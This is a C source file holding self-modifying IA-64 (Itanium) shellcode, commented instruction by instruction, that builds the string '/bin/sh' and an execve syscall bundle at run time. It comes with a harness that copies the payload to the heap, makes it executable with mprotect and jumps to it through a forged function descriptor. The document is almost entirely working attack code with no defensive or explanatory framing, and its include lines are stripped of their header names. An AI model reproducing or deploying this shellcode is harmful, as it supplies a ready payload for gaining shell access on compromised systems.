#include #include #include #include #include #include unsigned long shellcode[] = { /* MLX ** alloc r34 = ar.pfs, 0, 3, 3, 0 // allocate vars for * syscall ** movl r14 = 0x0168732f6e69622f // aka * "/bin/sh",0x01 ** ;; */ 0x2f6e458006191005, 0x631132f1c0016873, /* MLX * * xor r37 = r37, r37 // NULL * * movl r17 = 0x48f017994897c001 // bundle[0] * * ;; */ 0x9948a00f4a952805, 0x6602e0122048f017, /* MII * * adds r15 = 0x1094, r37 // unfinished * bundle[1] * * or r22 = 0x08, r37 // part 1 of * bundle[1] * * dep r12 = r37, r12, 0, 8 // align * stack ptr * * ;; */ 0x416021214a507801, 0x4fdc625180405c94, /* MII * * adds r35 = -40, r12 // circling * mem addr 1, shellstr addr * * adds r36 = -32, r12 // * circling mem addr 2, args[0] addr * * dep r15 = r22, r15, 56, 8 // * patch bundle[1] (part 1) * * ;; */ 0x0240233f19611801, 0x41dc7961e0467e33, /* MII * * st8 [r36] = r35, 16 // * args[0] = shellstring addr * * adds r19 = -16, r12 // * prepare branch addr: bundle[0] addr * * or r23 = 0x42, r37 * // part 2 of bundle[1] * * ;; */ 0x81301598488c8001, 0x80b92c22e0467e33, /* MII * * st8 [r36] = r17, 8 // * store bundle[0] * * dep r14 = r37, r14, 56, 8 * // fix shellstring * * dep r15 = r23, r15, 16, 8 * // patch bundle[1] (part 2) * * ;; */ 0x28e0159848444001, 0x4bdc7971e020ee39, /* MMI * * st8 [r35] = r14, 25 * // store shellstring * * cmp.eq p2, p8 = r37, r37 * // prepare predicate for final * branch. * * mov b6 = r19 * // (+0x01) setup branch reg * * ;; */ 0x282015984638c801, 0x07010930c0701095, /* MIB * * st8 [r36] = r15, -16 * // store bundle[1] * * adds r35 = -25, r35 * // correct string addr * * (p2) br.cond.spnt.few * b6 // (+0x01) * branch to constr. bundle * * ;; */ 0x3a301799483f8011, 0x0180016001467e8f, }; /* ** the constructed bundle ** ** MII ** st8 [r36] = r37, -8 // args[1] = NULL ** adds r15 = 1033, r37 // syscall number ** break.i 0x100000 ** ;; ** ** encoding is: ** bundle[0] = 0x48f017994897c001 ** bundle[1] = 0x0800000000421094 **/ /* Function pointer in IA-64 in a FAT pointer */ typedef struct _fp { long addr; long gp; } IA64_FUNCTION; static void flush_cache (void *addr, unsigned long len) { void *end = (char *) addr + len; while (addr < end) { asm volatile ("fc %0"::"r" (addr)); addr = (char *) addr + 32; } asm volatile (";;sync.i;;srlz.i;;"); } void Dummy (void) { return; } int main (int argc, char *argv[]) { void (*pSubroutine) (void); unsigned long *pBuffer1; IA64_FUNCTION *fp; IA64_FUNCTION newfp; pBuffer1 = (unsigned long *) malloc (256); memcpy (pBuffer1, (unsigned char *) shellcode, 256); flush_cache (pBuffer1, 256); fp = (IA64_FUNCTION *) Dummy; newfp.gp = fp->gp; newfp.addr = (long) pBuffer1; pSubroutine = (void (*)(void)) &newfp; mprotect ((void *) ((long) pBuffer1 & ~(getpagesize () - 1)), getpagesize (), PROT_READ | PROT_WRITE | PROT_EXEC); (*pSubroutine) (); return 0; }